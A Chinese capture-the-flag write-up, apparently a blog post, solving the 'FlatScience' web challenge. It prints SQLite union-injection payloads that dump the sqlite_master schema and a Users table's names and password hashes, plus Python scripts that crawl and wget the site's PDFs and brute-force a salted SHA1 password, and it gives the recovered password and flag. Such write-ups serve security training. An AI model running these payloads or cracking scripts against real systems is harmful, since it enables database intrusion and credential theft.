• 攻防世界-web-FlatScience


    1. 题目描述

    打开链接,看到如下界面

    界面上的链接都点击下,发现都是一些英文论文

    这些暂时是我们从界面上能发现的全部信息了

    2. 思路分析 && 解题过程

    2.1 先将网站使用nikto命令扫描一下

    我们发现除了显式的界面外,还有两个隐藏的界面,一个是admin.php,一个是login.php

    我们访问admin.php

    这里是一个管理员登录界面,给了默认账号名,但是没有密码

    然后访问login.php

    和管理员登录界面类似,也是需要输入用户名和密码的

    2.2 使用burpsuite访问看是否存在更多信息

    我们发现这个有个debug模式的说明,说明大概率开启了debug模式,那么我们在访问login.php时带上参数debug=1

    好的,此时我们发现相应的代码已经回显出来了,通过分析代码,我们发现传入的usr字段时存在sql注入的,且对应的后台数据库为sqlite3

    2.3 然后就是常用的sql注入环节了

    这里和之前mysql不太一样,因为这里是sqlite数据库,因此这里有些sqlite的背景知识需要了解

    这里仍然是通过union select的方式确认表中的字段(或者order by也行)

    通过尝试,发现只有select 1, 2的时候才不会报错,且会显示第二个字段

    ok,接下来就是查询sqlite_mater表中的信息了

    将usr设置为1' union select name,sql from sqlite_master -- 1

    可以看到数据库中又一张Users表,里面有id,name, password,hint等字段

    我们使用同样的方式可以查出表中的所有用户和密码

    - usr=1' union select id,name from Users limit 0,1

    - usr=1' union select id,password from Users limit 0,1

    这样就查出了第一个用户的用户名和密码,且通过修改limit语句,可以查出所有用户的用户名和密码以及hint字段

    这里第一个查出来用户名是admin,进行sha1编码后的密码是3fab54a50e770d830c0416df817567662a9dc85c,hint值为my fav word in my fav paper

    获取到用户名,密码后接下来就是对密码进行解密了,从login.php的代码中我们不难发现,数据库中的密码是做了一层转换的

    2.4 解密环节

    既然是做了一层转换,那么如何解密了,这种唯有爆破,当然,根据提示不难发现密码隐藏在网站的pdf论文中

    这里参考网上的做法(脚本也参考网上的),从所有论文中单词中对密码进行爆破,脚本如下(来源攻防世界web进阶区FlatScience详解_flatscience 攻防世界-CSDN博客):

    这个是用来爬取所有pdf的

    1. import requests
    2. import re
    3. import os
    4. import sys
    5. re1 = '[a-fA-F0-9]{32,32}.pdf'
    6. re2 = '[0-9\/]{2,2}index.html'
    7. pdf_list = []
    8. def get_pdf(url):
    9. global pdf_list
    10. print(url)
    11. req = requests.get(url).text
    12. re_1 = re.findall(re1,req)
    13. for i in re_1:
    14. pdf_url = url+i
    15. pdf_list.append(pdf_url)
    16. re_2 = re.findall(re2,req)
    17. for j in re_2:
    18. new_url = url+j[0:2]
    19. get_pdf(new_url)
    20. return pdf_list
    21. # return re_2
    22. pdf_list = get_pdf('http://61.147.171.105:58209/')
    23. print(pdf_list)
    24. for i in pdf_list:
    25. os.system('wget '+i)

    这个是用来爆破解密的

    1. from io import StringIO
    2. #python3
    3. from pdfminer.pdfpage import PDFPage
    4. from pdfminer.converter import TextConverter
    5. from pdfminer.converter import PDFPageAggregator
    6. from pdfminer.layout import LTTextBoxHorizontal, LAParams
    7. from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
    8. import sys
    9. import string
    10. import os
    11. import hashlib
    12. import importlib
    13. import random
    14. from urllib.request import urlopen
    15. from urllib.request import Request
    16. def get_pdf():
    17. return [i for i in os.listdir("./") if i.endswith("pdf")]
    18. def convert_pdf_to_txt(path_to_file):
    19. rsrcmgr = PDFResourceManager()
    20. retstr = StringIO()
    21. codec = 'utf-8'
    22. laparams = LAParams()
    23. device = TextConverter(rsrcmgr, retstr, laparams=laparams)
    24. fp = open(path_to_file, 'rb')
    25. interpreter = PDFPageInterpreter(rsrcmgr, device)
    26. password = ""
    27. maxpages = 0
    28. caching = True
    29. pagenos=set()
    30. for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
    31. interpreter.process_page(page)
    32. text = retstr.getvalue()
    33. fp.close()
    34. device.close()
    35. retstr.close()
    36. return text
    37. def find_password():
    38. pdf_path = get_pdf()
    39. for i in pdf_path:
    40. print ("Searching word in " + i)
    41. pdf_text = convert_pdf_to_txt("./"+i).split(" ")
    42. for word in pdf_text:
    43. sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
    44. if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
    45. print ("Find the password :" + word)
    46. exit()
    47. if __name__ == "__main__":
    48. find_password()

    执行这俩脚本,得到admin的密码为:ThinJerboa

    2.5 登录admin

    成功获取到flag为flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}

    3. 总结

    该题算是难度比较高的一道题,综合性很强,考察了sql注入,扫描,爬虫,爆破等常见攻防知识,更重要的是,将这些结合起来,一环扣一环。这种综合性较强的题目非常适合安全人员个人能力的提升和进阶

  • 相关阅读:
    JavaScript重新实现Git
    模型微调迁移学习Finetune方法大全
    探测SiTime硅晶振输出的实用指南
    游戏引擎概述-Part1
    Flink SQL DataGen Connector 示例
    【Go语言学习笔记】函数
    Python使用pymysql三方库操作 mysql数据库
    Mybatis复杂查询及动态SQL
    驱动开发:内核枚举LoadImage映像回调
    BeanUtils.copyProperties:曾经是我的女神,现在是我的毒药。
  • 原文地址:https://blog.csdn.net/wuh2333/article/details/132939288